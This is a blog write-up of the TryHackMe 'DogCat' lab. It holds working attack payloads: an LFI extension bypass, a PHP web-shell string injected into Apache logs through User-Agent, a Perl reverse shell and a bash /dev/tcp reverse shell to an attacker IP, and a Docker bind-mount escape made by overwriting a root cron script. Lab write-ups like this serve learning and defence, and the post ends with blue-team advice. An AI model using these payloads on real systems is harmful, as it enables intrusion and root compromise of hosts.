kraaakilo

Command Palette

Search for a command to run...

Post writeup-dogcat-thm
securityDECEMBER 17, 2025

DogCat Machine - TryHackMe WriteUp

security

DogCat VM - TryHackMe Writeup

Box Information

  • Difficulty: Medium
  • Target OS: Linux

Initial Reconnaissance

Machine Scanning

fastmap is my custom nmap wrapper that runs a series of nmap scans and saves the results in an easy-to-read format. The code is available on my the secmachine-build GitHub repository.

bash

fastmap dogcat.thm

Results:

  • Server: Apache httpd 2.4.38
  • Application: PHP-based web application displaying dog or cat pictures

Enumeration

Web Application Analysis

The main application is a PHP-based image viewer that allows users to choose between dog or cat pictures. After poking around the site for a bit, I noticed it was vulnerable to Local File Inclusion (LFI) through the view parameter. However, the application was appending .php to file paths, which blocked straightforward LFI attempts.

LFI Vulnerability Discovery

Understanding the &ext= Bypass Technique

After some research, I found that the &ext= parameter can be used to bypass this protection. Basically, when the application automatically appends a file extension like .php to user input, adding &ext= at the end can trick the application into treating it as an empty extension.

How it works:

Normal request: http://dogcat.thm/index.php?file=cat

  • Server resolves this to: include("cat.php")

But if we use this bypass:

plaintext

http://dogcat.thm/index.php?file=../../../../etc/passwd&ext=

The application processes:

  • The file parameter as ../../../../etc/passwd
  • The &ext= parameter as an empty extension
  • Final path becomes ../../../../etc/passwd instead of ../../../../etc/passwd.php

Other LFI Bypass Techniques I Came Across

While researching, I learned about a few other methods:

  1. Null Byte Injection: Appending %00 to terminate the string early
  2. Path Truncation: Using really long filenames (over 4096 bytes) to force the system to cut off the unwanted extension
  3. PHP Wrappers: Using things like php://filter or zip:// to bypass filters

Exploitation

Log Poisoning Attack

So I decided to try log poisoning to get code execution. Here's what I did:

Step 1: Poison the Apache Access Logs

I injected PHP code into the User-Agent header:

bash

curl -H "User-Agent: <?php system(\$_GET['cmd']);?>" http://dogcat.thm

Important note here: I had to use \$_GET with the escaped dollar sign because Apache already uses double quotes in the logs. If I didn't escape it, the code would break.

Step 2: Execute Commands Through LFI

Now I could access the poisoned log file and execute commands:

plaintext

http://dogcat.thm/?view=cats/../../../../var/log/apache2/access.log&ext=&cmd=whoami

This worked! Time to get a reverse shell.

Getting a Reverse Shell

I used a URL-encoded Perl reverse shell payload:

perl

perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.133.61%22%3B%24p%3D4444%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27

Decoded version:

perl

perl -e 'use Socket;$i="192.168.133.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Got a shell back as www-data.


Privilege Escalation

Stage 1: Getting Root Inside the Docker Container

After landing on the box, I realized I was inside a Docker container. I started looking around and found something interesting in the Dockerfile:

dockerfile

RUN echo "www-data ALL = NOPASSWD: `which env`" >> /etc/sudoers

This means I could run env as root without needing a password. I remembered that env can be used to spawn a shell:

bash

sudo env /bin/bash

And just like that, I had root access inside the container.

Stage 2: Escaping the Docker Container

Now I needed to escape the container to get root on the actual host machine.

Finding the Escape Route

While enumerating as root in the container, I noticed something in /opt/backups:

bash

root@3369215e9628:/opt/backups# ls -la
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Dec 17 08:58 backup.tar

I watched the backup.tar file for a minute and saw its timestamp changing:

bash

-rw-r--r-- 1 root root 2949120 Dec 17 08:58 backup.tar
-rw-r--r-- 1 root root 2949120 Dec 17 08:59 backup.tar

So this script was being run every minute by something, probably a cron job.

backup.sh contents:

bash

#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Understanding the Volume Mount

I extracted the backup.tar and found a launch.sh script:

bash

#!/bin/bash
docker run -d -p 80:80 -v /root/container/backup:/opt/backups --rm box

This was the key. The host's /root/container/backup directory was mounted to /opt/backups inside the container. Since I was root inside the container (UID 0), and Linux uses the same user ID namespace, I could modify files in that directory and they would be executed by the host's root user when the cron job ran.

Testing My Theory

First, I wanted to confirm this would work. I modified backup.sh to ping my machine:

bash

#!/bin/bash
ping 192.168.133.61 -c 4

Then I listened for ICMP traffic:

bash

sudo tcpdump icmp -i tun0

After a minute, I got results:

plaintext

10:06:02.515302 IP 10.81.191.173 > 192.168.133.61: ICMP echo request, id 3060, seq 1
10:06:02.515357 IP 192.168.133.61 > 10.81.191.173: ICMP echo reply, id 3060, seq 1
10:06:03.516842 IP 10.81.191.173 > 192.168.133.61: ICMP echo request, id 3060, seq 2
10:06:03.516857 IP 192.168.133.61 > 10.81.191.173: ICMP echo reply, id 3060, seq 2

Perfect! The host was executing my modified script.

Getting Root on the Host

Now I just needed to replace the ping command with a reverse shell:

bash

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.133.61/4445 0>&1

I set up my listener and waited. After about a minute, I got a shell:

bash

(remote) root@dogcat:/root# id
uid=0(root) gid=0(root) groups=0(root)

(remote) root@dogcat:/root# ls
container  flag4.txt

(remote) root@dogcat:/root# cat flag4.txt
THM{REDACTED}

Game over.


Lessons Learned

What I Learned Technically

  1. LFI Bypass Techniques: The &ext= parameter is a clever way to bypass file extension filters in PHP applications. This works because it can nullify hardcoded extensions in the server-side code.

  2. Log Poisoning: You can poison Apache access logs through the User-Agent header to achieve remote code execution when combined with LFI. Just remember to properly escape variables to avoid breaking the syntax.

  3. Docker Privilege Escalation: Misconfigured sudoers entries are dangerous. Even something that seems harmless like NOPASSWD: env can be exploited to get root access using sudo env /bin/bash.

  4. Docker Escape via Bind Mounts: This was really interesting. When a directory is bind-mounted from the host to a container, the root user inside the container (UID 0) shares the same user namespace as the host's root user. This means you can modify files that will be executed by the host's root, leading to a container escape.

  5. Scheduled Tasks as Attack Vectors: Scripts that run regularly via cron can be leveraged for privilege escalation if you can modify them, especially when they run with elevated privileges.

BlueTeam POV

  • Always validate and sanitize user input, especially in file inclusion operations
  • Be very careful with sudo permissions. Even seemingly safe commands can be exploited
  • Think carefully about the security implications of Docker bind mounts
  • Ensure proper file permissions on scripts executed by cron jobs
  • Apply the principle of least privilege everywhere, including in containerized applications

Notes

This box was a great learning experience for understanding Docker security and how containers aren't always as isolated as you might think. The privilege escalation chain was really satisfying to work through, especially figuring out the bind mount escape vector.

DogCat Machine - TryHackMe WriteUp